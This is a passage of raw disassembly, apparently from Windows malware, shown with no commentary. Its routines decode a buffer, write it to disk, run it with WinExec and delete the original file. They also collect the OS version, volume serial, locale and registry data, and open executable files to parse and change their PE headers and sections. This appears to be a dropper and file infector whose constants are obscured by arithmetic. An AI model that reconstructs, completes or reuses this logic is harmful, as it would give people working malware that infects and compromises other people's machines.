		mov	[ebp+var_61D9C], eax
		mov	eax, edi
		mul	edi
		mov	[ebp+var_61DA0], eax
		mov	eax, [ebp+var_61D9C]
		mov	edx, [ebp+var_61DA0]
		sub	eax, edx
		mov	[ebp+edi+var_30D40], al


loc_43ED92:				; CODE XREF: sub_43EB7A+1E9j
		inc	edi


loc_43ED93:				; CODE XREF: sub_43EB7A+1D2j
		cmp	edi, esi
		jb	short loc_43ED4E
		or	ebx, ebx
		jz	short loc_43EDC7
		mov	eax, dword_44D224
		movsx	edx, word_44D120
		add	eax, edx
		sub	eax, 0Dh
		mov	edx, esi
		sub	edx, eax
		movsx	eax, word_44D12C
		add	eax, dword_44D0D4
		sub	eax, 8
		mov	[ebp+edx+var_30D40], al


loc_43EDC7:				; CODE XREF: sub_43EB7A+21Fj
		mov	eax, dword_44D15C
		add	eax, 7Dh
		add	eax, dword_44D1F8
		mov	edx, dword_44D17C
		sub	edx, 9
		mov	[ebp+eax+var_30E3F], dl
		push	0FFh
		lea	eax, [ebp+var_61D98]
		push	eax
		lea	eax, [ebp+var_30E14]
		push	eax
		call	sub_43B73E
		lea	eax, [ebp+var_61D98]
		push	eax
		push	esi
		lea	eax, [ebp+var_30D40]
		push	eax
		call	sub_43F09C
		add	esp, 18h
		mov	[ebp+var_30E44], eax
		mov	eax, dword_44D0A8
		sub	eax, 4
		cmp	[ebp+var_30E44], eax
		jnz	loc_43F00C
		mov	[ebp+var_30F50], 1
		or	ebx, ebx
		jz	loc_43EF6C
		mov	eax, dword_44D0FC
		cmp	[ebp+eax+var_30D47], 64h
		jnz	loc_43EED9
		movzx	eax, [ebp+var_30D3F]
		mov	edx, dword_44D108
		add	edx, 10h
		movsx	ecx, word_44D0F4
		add	edx, ecx
		sub	eax, edx
		mov	byte ptr [ebp+var_61D9C+3], al
		movzx	eax, byte ptr [ebp+var_61D9C+3]
		push	eax
		push	0
		call	sub_440CB4
		mov	eax, dword_44D0DC
		mov	ds:dword_4495D0, eax
		movsx	eax, word_44D0B8
		sub	eax, 9
		mov	dword_44D31C, eax
		movsx	eax, word_44D0C4
		mov	edx, dword_44D0EC
		add	edx, dword_44D0AC
		sub	edx, 0Bh
		mov	[ebp+eax+var_30D47], dl
		movsx	eax, word_44D180
		add	eax, dword_44D178
		sub	eax, 9
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	sub_4410CF
		add	esp, 10h


loc_43EED9:				; CODE XREF: sub_43EB7A+2D3j
		mov	eax, dword_44D188
		add	eax, dword_44D1BC
		cmp	[ebp+eax+var_30D4C], 67h
		jnz	loc_43F00C
		mov	eax, dword_44D1E4
		mov	edx, dword_44D100
		add	edx, dword_44D1B0
		sub	edx, 0Eh
		mov	[ebp+eax+var_30D37], dl
		lea	eax, [ebp+var_30D3F]
		push	eax
		call	ds:dword_447008
		mov	[ebp+var_61D9C], eax
		push	eax
		push	offset dword_44C850
		call	sub_44318C
		mov	eax, dword_44D100
		sub	eax, 7
		mov	ds:dword_4495D0, eax
		movsx	eax, word_44D0F8
		add	eax, dword_44D14C
		sub	eax, 9
		mov	dword_44D31C, eax
		movsx	eax, word_44D0C4
		sub	eax, 8
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	sub_4410CF
		add	esp, 14h
		jmp	loc_43F00C
; ---------------------------------------------------------------------------


loc_43EF6C:				; CODE XREF: sub_43EB7A+2C0j
		movsx	eax, word_44D1C0
		sub	eax, 2
		push	eax
		lea	eax, [ebp+var_30F4B]
		push	eax
		call	sub_443CD1
		push	offset byte_44E359
		call	sub_43AC82
		push	eax
		lea	edx, [ebp+var_30F4B]
		push	edx
		call	ds:dword_446024
		push	0
		push	80h
		push	2
		push	0
		push	dword_44D240
		push	40000000h
		lea	eax, [ebp+var_30F4B]
		push	eax
		call	ds:dword_44C968	; CreateFileA
		mov	[ebp+var_61C98], eax
		push	0
		lea	eax, [ebp+var_30E4C]
		push	eax
		push	esi
		lea	eax, [ebp+var_30D40]
		push	eax
		push	[ebp+var_61C98]
		call	ds:dword_44CD6C	; WriteFile
		push	[ebp+var_61C98]
		call	ds:dword_44B82C	; CloseHandle
		push	5
		lea	eax, [ebp+var_30F4B]
		push	eax
		call	ds:dword_449094	; WinExec
		movzx	eax, [ebp+var_30F51]
		push	eax
		call	sub_441ECB
		add	esp, 18h


loc_43F00C:				; CODE XREF: sub_43EB7A+A9j
					; sub_43EB7A:loc_43EC5Fj ...
		push	[ebp+var_30E48]
		call	ds:dword_44B82C	; CloseHandle
		cmp	[ebp+var_30F50], 0
		jz	short loc_43F02A
		push	[ebp+arg_0]
		call	ds:dword_446008	; DeleteFileA


loc_43F02A:				; CODE XREF: sub_43EB7A+56j
					; sub_43EB7A+4A5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43EB7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_43F02F	proc near		; DATA XREF: sub_43E524+1B7o
		push	ebp
		mov	ebp, esp


loc_43F032:				; CODE XREF: sub_43F02F+2Aj
		call	sub_43A764
		movsx	eax, word_44D12C
		add	eax, 70h
		movsx	edx, word_44D0E8
		add	edx, 0EA5Ch
		imul	eax, edx
		push	eax
		call	ds:dword_44C80C
		pop	ecx
		jmp	short loc_43F032
sub_43F02F	endp

; ---------------------------------------------------------------------------
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F05F	proc near		; DATA XREF: sub_43B8E8+Bo

arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		pusha
		mov	esi, [ebp+arg_8]
		mov	eax, offset sub_43BB6D
		mov	[esi+0B8h], eax
		mov	eax, [ebp+arg_4]
		mov	[esi+0C4h], eax
		popa
		mov	esp, ebp
		pop	ebp
		xor	eax, eax
		retn
sub_43F05F	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F082	proc near		; CODE XREF: sub_43F09C+C8p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_44D2DC
		push	offset dword_44D29C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_444F08
		pop	ebp
		retn
sub_43F082	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F09C	proc near		; CODE XREF: sub_43EB7A+292p

var_54		= byte ptr -54h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 54h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		add	eax, 40h
		jge	short loc_43F0B3
		add	eax, 3Fh


loc_43F0B3:				; CODE XREF: sub_43F09C+12j
		sar	eax, 6
		mov	edi, eax
		shl	edi, 6
		push	edi
		call	sub_43A745
		pop	ecx
		mov	[ebp+var_14], eax
		mov	edi, [ebp+arg_4]
		mov	edx, dword_44D1CC
		add	edx, 3Fh
		mov	eax, edi
		add	eax, edx
		jge	short loc_43F0DA
		add	eax, 3Fh


loc_43F0DA:				; CODE XREF: sub_43F09C+39j
		sar	eax, 6
		mov	edi, dword_44D09C
		add	edi, 3Bh
		add	edi, dword_44D0A8
		mov	edx, eax
		imul	edx, edi
		push	edx
		push	[ebp+var_14]
		call	ds:dword_446030	; RtlZeroMemory
		push	[ebp+arg_4]
		push	esi
		push	[ebp+var_14]
		call	ds:dword_44B808
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_445046
		mov	esi, [ebp+var_14]
		movsx	ebx, word_44D210
		sub	ebx, 6
		jmp	short loc_43F139
; ---------------------------------------------------------------------------


loc_43F123:				; CODE XREF: sub_43F09C+B7j
		push	esi
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_44506D
		mov	eax, dword_44D184
		add	eax, 3Fh
		lea	esi, [esi+eax]
		inc	ebx


loc_43F139:				; CODE XREF: sub_43F09C+85j
		mov	edi, [ebp+arg_4]
		mov	edx, dword_44D214
		add	edx, 3Fh
		mov	eax, edi
		add	eax, edx
		jge	short loc_43F14E
		add	eax, 3Fh


loc_43F14E:				; CODE XREF: sub_43F09C+ADj
		sar	eax, 6
		cmp	ebx, eax
		jl	short loc_43F123
		push	[ebp+var_14]
		call	sub_43E024
		lea	eax, [ebp+var_54]
		push	eax
		push	[ebp+arg_8]
		call	sub_43F082
		movsx	eax, word_44D228
		add	eax, 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		call	ds:dword_44C828
		add	esp, 18h
		mov	edi, dword_44D134
		sub	edi, 4
		cmp	eax, edi
		jz	short loc_43F197
		xor	eax, eax
		inc	eax
		jmp	short loc_43F199
; ---------------------------------------------------------------------------


loc_43F197:				; CODE XREF: sub_43F09C+F4j
		xor	eax, eax


loc_43F199:				; CODE XREF: sub_43F09C+F9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43F09C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F19E	proc near		; CODE XREF: sub_4425A6+165p

var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_445950
		push	ebx
		push	esi
		push	edi
		movsx	eax, word_44D21C
		add	eax, dword_44D0D0
		sub	eax, 7
		push	eax
		lea	eax, [ebp+var_FFF]
		push	eax
		call	sub_440CB4
		add	esp, 8
		mov	edi, dword_44D170
		sub	edi, 5
		jmp	short loc_43F1F3
; ---------------------------------------------------------------------------


loc_43F1D9:				; CODE XREF: sub_43F19E+5Bj
		cmp	[ebp+edi+var_FFF], 23h
		jnz	short loc_43F1F2
		mov	eax, dword_44D158
		sub	eax, 8
		mov	[ebp+edi+var_FFF], al


loc_43F1F2:				; CODE XREF: sub_43F19E+43j
		inc	edi


loc_43F1F3:				; CODE XREF: sub_43F19E+39j
		cmp	edi, 0FFFh
		jb	short loc_43F1D9
		lea	esi, [ebp+var_FFF]


loc_43F201:				; CODE XREF: sub_43F19E+EBj
		push	offset byte_44E355
		call	sub_43AC82
		push	offset dword_447FD0
		mov	ebx, dword_44D198
		add	ebx, dword_44D238
		sub	ebx, 12h
		push	ebx
		mov	ebx, dword_44D0D0
		dec	ebx
		push	ebx
		push	eax
		push	dword_44D15C
		push	0
		push	esi
		push	[ebp+arg_0]
		mov	ebx, dword_44D1C4
		inc	ebx
		add	ebx, dword_44D10C
		and	ebx, 0FFh
		push	ebx
		call	sub_43BC02
		add	esp, 28h
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_43F256:				; CODE XREF: sub_43F19E+BDj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43F256
		movsx	edx, word_44D144
		add	edx, dword_44D22C
		sub	edx, 0Ch
		mov	ebx, eax
		add	ebx, esi
		mov	esi, edx
		add	esi, ebx
		movsx	eax, byte ptr [esi]
		mov	edx, dword_44D238
		add	edx, dword_44D100
		sub	edx, 10h
		cmp	eax, edx
		jnz	loc_43F201
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43F19E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F294	proc near		; CODE XREF: sub_43E524+E1p

var_1AC		= dword	ptr -1ACh
var_1A8		= dword	ptr -1A8h
var_1A4		= byte ptr -1A4h
var_1A0		= byte ptr -1A0h
var_19C		= dword	ptr -19Ch
var_198		= dword	ptr -198h
var_193		= dword	ptr -193h
var_18F		= dword	ptr -18Fh
var_18B		= dword	ptr -18Bh
var_187		= dword	ptr -187h
var_183		= dword	ptr -183h
var_FF		= byte ptr -0FFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1ACh
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	byte ptr [edi],	0
		mov	[ebp+var_193], 94h
		lea	eax, [ebp+var_193]
		push	eax
		call	ds:dword_44CD78	; GetVersionExA
		cmp	[ebp+var_183], 1
		jnz	short loc_43F2DB
		push	offset byte_44E34F
		call	sub_43AC82
		push	eax
		push	edi
		call	ds:dword_446024
		add	esp, 0Ch


loc_43F2DB:				; CODE XREF: sub_43F294+30j
		cmp	[ebp+var_183], 2
		jnz	short loc_43F2F9
		push	offset byte_44E349
		call	sub_43AC82
		push	eax
		push	edi
		call	ds:dword_44C810
		add	esp, 0Ch


loc_43F2F9:				; CODE XREF: sub_43F294+4Ej
		push	offset byte_44E33D
		call	sub_43AC82
		push	[ebp+var_187]
		push	[ebp+var_18B]
		push	[ebp+var_18F]
		push	eax
		lea	ebx, [ebp+var_FF]
		push	ebx
		call	ds:dword_44C810
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_446024
		push	offset word_44E336
		call	sub_43AC82
		movsx	ebx, word_44D21C
		movsx	edx, word_44D11C
		add	ebx, edx
		sub	ebx, 0Ah
		push	ebx
		push	0
		lea	ebx, [ebp+var_1A0]
		push	ebx
		lea	ebx, [ebp+var_1A0]
		push	ebx
		lea	ebx, [ebp+var_19C]
		push	ebx
		push	0FFh
		lea	ebx, [ebp+var_FF]
		push	ebx
		push	eax
		call	ds:dword_44C7E4	; GetVolumeInformationA
		push	offset word_44E32E
		call	sub_43AC82
		push	[ebp+var_19C]
		push	eax
		lea	ebx, [ebp+var_FF]
		push	ebx
		call	ds:dword_44C810
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_446024
		push	0FFh
		lea	eax, [ebp+var_FF]
		push	eax
		movsx	eax, word_44D148
		add	eax, dword_44D1D4
		sub	eax, 2
		push	eax
		push	400h
		call	ds:dword_4495A8	; GetLocaleInfoA
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_446024
		push	offset byte_44E329
		call	sub_43AC82
		push	eax
		push	edi
		call	ds:dword_446024
		mov	[ebp+var_198], 0FFh
		push	offset dword_44E2FC
		call	sub_43AC82
		mov	[ebp+var_1A8], eax
		push	offset byte_44E2EF
		call	sub_43AC82
		lea	ebx, [ebp+var_1A4]
		push	ebx
		lea	ebx, [ebp+var_198]
		push	ebx
		lea	ebx, [ebp+var_FF]
		push	ebx
		push	eax
		mov	ebx, [ebp+var_1A8]
		push	ebx
		push	80000002h
		call	sub_444702
		add	esp, 70h
		mov	esi, eax
		mov	eax, dword_44D1D8
		sub	eax, 2
		cmp	esi, eax
		jnz	short loc_43F45C
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_446024
		add	esp, 8
		jmp	short loc_43F4C7
; ---------------------------------------------------------------------------


loc_43F45C:				; CODE XREF: sub_43F294+1B3j
		mov	[ebp+var_198], 0FFh
		push	offset asc_44E2BF ; ","
		call	sub_43AC82
		mov	[ebp+var_1AC], eax
		push	offset asc_44E2B2 ; "\t"
		call	sub_43AC82
		lea	ebx, [ebp+var_1A4]
		push	ebx
		lea	ebx, [ebp+var_198]
		push	ebx
		lea	ebx, [ebp+var_FF]
		push	ebx
		push	eax
		mov	ebx, [ebp+var_1AC]
		push	ebx
		push	80000002h
		call	sub_444702
		add	esp, 20h
		mov	esi, eax
		mov	eax, dword_44D240
		inc	eax
		cmp	esi, eax
		jnz	short loc_43F4C7
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_446024
		add	esp, 8


loc_43F4C7:				; CODE XREF: sub_43F294+1C6j
					; sub_43F294+220j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43F294	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F4CC	proc near		; CODE XREF: sub_4433F9+1BFp

var_32016	= byte ptr -32016h
var_32014	= dword	ptr -32014h
var_32010	= dword	ptr -32010h
var_3200B	= byte ptr -3200Bh
var_31F5C	= dword	ptr -31F5Ch
var_31F58	= dword	ptr -31F58h
var_31F54	= dword	ptr -31F54h
var_31F50	= dword	ptr -31F50h
var_31F4C	= dword	ptr -31F4Ch
var_31F48	= dword	ptr -31F48h
var_31F44	= dword	ptr -31F44h
var_31F40	= dword	ptr -31F40h
var_31F3C	= dword	ptr -31F3Ch
var_31F38	= dword	ptr -31F38h
var_31F34	= dword	ptr -31F34h
var_31F30	= dword	ptr -31F30h
var_31F2C	= dword	ptr -31F2Ch
var_31F28	= dword	ptr -31F28h
var_31F24	= dword	ptr -31F24h
var_31F20	= dword	ptr -31F20h
var_31F1C	= dword	ptr -31F1Ch
var_31F18	= dword	ptr -31F18h
var_31F14	= dword	ptr -31F14h
var_31F10	= dword	ptr -31F10h
var_31F0C	= dword	ptr -31F0Ch
var_31F08	= dword	ptr -31F08h
var_31F04	= dword	ptr -31F04h
var_31F00	= dword	ptr -31F00h
var_31EFC	= dword	ptr -31EFCh
var_31EF8	= dword	ptr -31EF8h
var_31EF4	= dword	ptr -31EF4h
var_31EF0	= dword	ptr -31EF0h
var_31EEC	= dword	ptr -31EECh
var_31EE8	= dword	ptr -31EE8h
var_31EE4	= dword	ptr -31EE4h
var_31EE0	= dword	ptr -31EE0h
var_31EDC	= dword	ptr -31EDCh
var_31ED8	= dword	ptr -31ED8h
var_31ED4	= byte ptr -31ED4h
var_31EC7	= byte ptr -31EC7h
var_1194	= dword	ptr -1194h
var_1190	= dword	ptr -1190h
var_118C	= dword	ptr -118Ch
var_1188	= dword	ptr -1188h
var_1184	= dword	ptr -1184h
var_1180	= dword	ptr -1180h
var_117C	= dword	ptr -117Ch
var_1178	= dword	ptr -1178h
var_1174	= dword	ptr -1174h
var_116F	= byte ptr -116Fh
var_1070	= dword	ptr -1070h
var_106C	= dword	ptr -106Ch
var_1068	= dword	ptr -1068h
var_1064	= dword	ptr -1064h
var_1060	= dword	ptr -1060h
var_105C	= dword	ptr -105Ch
var_1058	= dword	ptr -1058h
var_1054	= dword	ptr -1054h
var_1050	= dword	ptr -1050h
var_C54		= dword	ptr -0C54h
var_C50		= dword	ptr -0C50h
var_C4C		= dword	ptr -0C4Ch
var_850		= dword	ptr -850h
var_84C		= dword	ptr -84Ch
var_848		= dword	ptr -848h
var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_434		= dword	ptr -434h
var_430		= dword	ptr -430h
var_42C		= dword	ptr -42Ch
var_428		= dword	ptr -428h
var_424		= dword	ptr -424h
var_420		= dword	ptr -420h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 32014h
		call	sub_445950
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_31EC7]
		push	eax
		call	ds:dword_44B808
		add	esp, 0Ch
		movsx	eax, word_44D23C
		add	eax, dword_44D188
		sub	eax, 0Eh
		mov	[ebp+var_31EE0], eax


loc_43F508:				; CODE XREF: sub_43F4CC+9Bj
		push	0
		movsx	eax, word_44D130
		sub	eax, 2
		push	eax
		push	3
		push	0
		movsx	eax, word_44D0B8
		sub	eax, 9
		push	eax
		push	0C0000001h
		push	[ebp+arg_0]
		call	ds:dword_44C968	; CreateFileA
		mov	[ebp+var_1070],	eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_43F570
		inc	[ebp+var_31EE0]
		movsx	eax, word_44D180
		movsx	edx, word_44D0A0
		add	eax, edx
		sub	eax, 5
		cmp	[ebp+var_31EE0], eax
		jnz	short loc_43F569
		push	[ebp+arg_0]
		call	sub_43B347
		pop	ecx
		jmp	short loc_43F508
; ---------------------------------------------------------------------------


loc_43F569:				; CODE XREF: sub_43F4CC+90j
		xor	eax, eax
		jmp	loc_4409DA
; ---------------------------------------------------------------------------


loc_43F570:				; CODE XREF: sub_43F4CC+6Fj
		push	0
		push	[ebp+var_1070]
		call	ds:dword_44C7F8	; GetFileSize
		mov	[ebp+var_10], eax
		mov	edx, [ebp+arg_8]
		lea	eax, [eax+edx+1FFFFh]
		push	eax
		push	0
		call	ds:dword_4499EC	; LocalAlloc
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_31EDC]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_1070]
		call	ds:dword_44602C	; ReadFile
		mov	eax, [ebp+var_4]
		mov	eax, [eax+3Ch]
		mov	[ebp+var_840], eax
		mov	eax, [ebp+var_31EDC]
		sub	eax, 0F8h
		cmp	[ebp+var_840], eax
		ja	loc_4409C3
		mov	eax, [ebp+var_840]
		add	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		movzx	eax, word ptr [eax]
		cmp	eax, 4550h
		jnz	loc_4409C3
		mov	eax, [ebp+var_8]
		movzx	eax, word ptr [eax+5Ch]
		cmp	eax, dword_44D1E0
		jz	loc_4409C3
		and	[ebp+var_1180],	0
		mov	eax, [ebp+var_8]
		movzx	edx, word ptr [eax+44h]
		mov	ecx, dword_44D134
		add	ecx, 9
		cmp	edx, ecx
		jnz	short loc_43F655
		mov	edx, dword_44D0D8
		add	edx, 3
		mov	[eax+1Ah], dl
		cmp	dl, 0
		jz	short loc_43F655
		movzx	eax, word ptr [eax+46h]
		mov	[ebp+var_31EF0], eax
		movsx	eax, word_44D128
		cmp	[ebp+var_31EF0], eax
		jnb	loc_4409C3
		mov	[ebp+var_1180],	1


loc_43F655:				; CODE XREF: sub_43F4CC+14Fj
					; sub_43F4CC+160j
		cmp	[ebp+var_1180],	0
		jz	short loc_43F67C
		mov	eax, [ebp+var_8]
		add	eax, 6
		movzx	edx, word ptr [eax]
		movsx	ecx, word_44D11C
		add	ecx, dword_44D1D8
		sub	ecx, 3
		sub	edx, ecx
		mov	[eax], dx


loc_43F67C:				; CODE XREF: sub_43F4CC+190j
		mov	eax, [ebp+var_8]
		mov	eax, [eax+80h]
		mov	[ebp+var_430], eax
		mov	eax, 28h
		mov	[ebp+var_31EF0], eax
		mov	edx, [ebp+var_8]
		mov	[ebp+var_31EF8], edx
		mov	ecx, [ebp+var_840]
		add	ecx, 0F8h
		mov	[ebp+var_31EF4], eax
		movzx	edi, word ptr [edx+6]
		mul	edi
		mov	[ebp+var_31EFC], eax
		mov	edx, ecx
		add	edx, eax
		mov	[ebp+var_31F04], edx
		mov	eax, [ebp+var_31EF0]
		mov	[ebp+var_31F00], eax
		movsx	ecx, word_44D11C
		mul	ecx
		mov	[ebp+var_31F08], eax
		mov	eax, [ebp+var_31F04]
		mov	edx, [ebp+var_31F08]
		add	eax, edx
		mov	edx, [ebp+var_31EF8]
		add	eax, [edx+0D4h]
		cmp	eax, [edx+54h]
		ja	loc_4409C3
		movsx	eax, word_44D0B4
		add	eax, dword_44D0E0
		sub	eax, 6
		mov	[ebp+var_20], eax
		mov	eax, dword_44D0FC
		add	eax, dword_44D248
		sub	eax, 7
		mov	[ebp+var_C54], eax
		mov	eax, dword_44D1F4
		add	eax, dword_44D24C
		sub	eax, 0Ch
		mov	[ebp+var_105C],	eax
		mov	eax, dword_44D1C8
		add	eax, dword_44D100
		sub	eax, 9
		mov	[ebp+var_434], eax
		jmp	loc_43F81B
; ---------------------------------------------------------------------------


loc_43F759:				; CODE XREF: sub_43F4CC+35Cj
		mov	eax, 28h
		mul	[ebp+var_434]
		mov	[ebp+var_31F14], eax
		mov	eax, [ebp+var_840]
		mov	edx, [ebp+var_4]
		lea	eax, [eax+edx+0F8h]
		mov	edx, [ebp+var_31F14]
		mov	esi, edx
		add	esi, eax
		mov	eax, [esi+0Ch]
		add	eax, [esi+8]
		mov	[ebp+var_31F0C], eax
		mov	eax, [esi+14h]
		add	eax, [esi+10h]
		mov	[ebp+var_31F10], eax
		mov	eax, [ebp+var_20]
		cmp	[ebp+var_31F0C], eax
		jbe	short loc_43F7B0
		mov	eax, [ebp+var_31F0C]
		mov	[ebp+var_20], eax


loc_43F7B0:				; CODE XREF: sub_43F4CC+2D9j
		mov	eax, [ebp+var_C54]
		cmp	[ebp+var_31F10], eax
		jbe	short loc_43F7CA
		mov	eax, [ebp+var_31F10]
		mov	[ebp+var_C54], eax


loc_43F7CA:				; CODE XREF: sub_43F4CC+2F0j
		mov	eax, [ebp+var_8]
		mov	eax, [eax+0A8h]
		cmp	eax, [esi+0Ch]
		jb	short loc_43F7F5
		cmp	eax, [ebp+var_31F0C]
		jnb	short loc_43F7F5
		mov	eax, [esi+14h]
		mov	edx, [ebp+var_8]
		add	eax, [edx+0A8h]
		sub	eax, [esi+0Ch]
		mov	[ebp+var_105C],	eax


loc_43F7F5:				; CODE XREF: sub_43F4CC+30Aj
					; sub_43F4CC+312j
		mov	eax, [ebp+var_430]
		mov	edx, [esi+0Ch]
		cmp	eax, edx
		jb	short loc_43F815
		add	edx, [esi+8]
		cmp	eax, edx
		jnb	short loc_43F815
		sub	eax, [esi+0Ch]
		add	eax, [esi+14h]
		mov	[ebp+var_844], eax


loc_43F815:				; CODE XREF: sub_43F4CC+334j
					; sub_43F4CC+33Bj
		inc	[ebp+var_434]


loc_43F81B:				; CODE XREF: sub_43F4CC+288j
		mov	eax, [ebp+var_8]
		movzx	eax, word ptr [eax+6]
		cmp	[ebp+var_434], eax
		jb	loc_43F759
		mov	eax, dword_44D118
		add	eax, 0FF4h
		movsx	edx, word_44D160
		add	eax, edx
		push	eax
		push	[ebp+var_20]
		call	sub_44108C
		add	esp, 8
		mov	[ebp+var_20], eax
		cmp	[ebp+var_1180],	0
		jz	short loc_43F862
		mov	eax, [ebp+var_C54]
		mov	[ebp+var_10], eax


loc_43F862:				; CODE XREF: sub_43F4CC+38Bj
		mov	eax, [ebp+var_C54]
		cmp	[ebp+var_10], eax
		jz	short loc_43F88C
		mov	eax, [ebp+var_8]
		movsx	edx, word_44D1F0
		add	edx, dword_44D124
		sub	edx, 4
		cmp	[eax+0A8h], edx
		jz	loc_4409C3


loc_43F88C:				; CODE XREF: sub_43F4CC+39Fj
		mov	eax, dword_44D094
		movsx	edx, word_44D0B4
		add	eax, edx
		sub	eax, 6
		cmp	[ebp+var_105C],	eax
		jz	loc_43F974
		mov	eax, dword_44D178
		sub	eax, 5
		mov	[ebp+var_31F14], eax
		mov	eax, dword_44D1FC
		add	eax, dword_44D20C
		sub	eax, 0Bh
		mov	[ebp+var_31F0C], eax
		jmp	short loc_43F91B
; ---------------------------------------------------------------------------


loc_43F8CD:				; CODE XREF: sub_43F4CC+475j
		mov	eax, [ebp+var_105C]
		mov	[ebp+var_31F18], eax
		mov	eax, 1Ch
		mul	[ebp+var_31F0C]
		mov	[ebp+var_31F1C], eax
		mov	eax, [ebp+var_31F18]
		mov	edx, [ebp+var_31F1C]
		add	eax, edx
		add	eax, [ebp+var_4]
		mov	[ebp+var_31F10], eax
		mov	edx, [ebp+var_31F14]
		cmp	[eax+18h], edx
		jbe	short loc_43F915
		mov	eax, [eax+18h]
		mov	[ebp+var_31F14], eax


loc_43F915:				; CODE XREF: sub_43F4CC+43Ej
		inc	[ebp+var_31F0C]


loc_43F91B:				; CODE XREF: sub_43F4CC+3FFj
		mov	edi, [ebp+var_8]
		mov	eax, [edi+0ACh]
		mov	ecx, 1Ch
		shr	eax, 2
		mov	edx, 24924925h
		mul	edx
		mov	[ebp+var_31F18], edx
		mov	edi, edx
		cmp	[ebp+var_31F0C], edi
		jb	short loc_43F8CD
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		push	[ebp+var_31F14]
		call	sub_44108C
		add	esp, 8
		mov	[ebp+var_31F14], eax
		mov	eax, [ebp+var_C54]
		cmp	eax, [ebp+var_10]
		jz	short loc_43F974
		cmp	[ebp+var_31F14], eax
		jnz	loc_4409C3


loc_43F974:				; CODE XREF: sub_43F4CC+3D7j
					; sub_43F4CC+49Aj
		and	[ebp+var_1174],	0
		mov	eax, dword_44D0F0
		mov	[ebp+var_438], eax
		jmp	loc_43FAC3
; ---------------------------------------------------------------------------


loc_43F98B:				; CODE XREF: sub_43F4CC+606j
		mov	eax, [ebp+var_844]
		add	eax, [ebp+var_438]
		add	eax, [ebp+var_4]
		mov	[ebp+var_32010], eax
		mov	edx, dword_44D214
		movsx	ecx, word_44D210
		add	edx, ecx
		sub	edx, 7
		cmp	[eax], edx
		jz	loc_43FAD8
		mov	eax, [ebp+var_32010]
		mov	eax, [eax+0Ch]
		sub	eax, [ebp+var_430]
		add	eax, [ebp+var_844]
		mov	[ebp+var_32014], eax
		add	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_3200B]
		push	eax
		call	ds:dword_4491A4
		add	esp, 8
		mov	eax, dword_44D208
		movsx	edx, word_44D120
		add	eax, edx
		sub	eax, 0Fh
		mov	[ebp+var_31F0C], eax
		jmp	short loc_43FA2D
; ---------------------------------------------------------------------------


loc_43FA02:				; CODE XREF: sub_43F4CC+57Aj
		mov	eax, [ebp+var_31F0C]
		mov	al, [ebp+eax+var_3200B]
		cmp	al, 61h
		jle	short loc_43FA27
		cmp	al, 7Ah
		jge	short loc_43FA27
		mov	eax, [ebp+var_31F0C]
		lea	eax, [ebp+eax+var_3200B]
		sub	byte ptr [eax],	20h


loc_43FA27:				; CODE XREF: sub_43F4CC+545j
					; sub_43F4CC+549j
		inc	[ebp+var_31F0C]


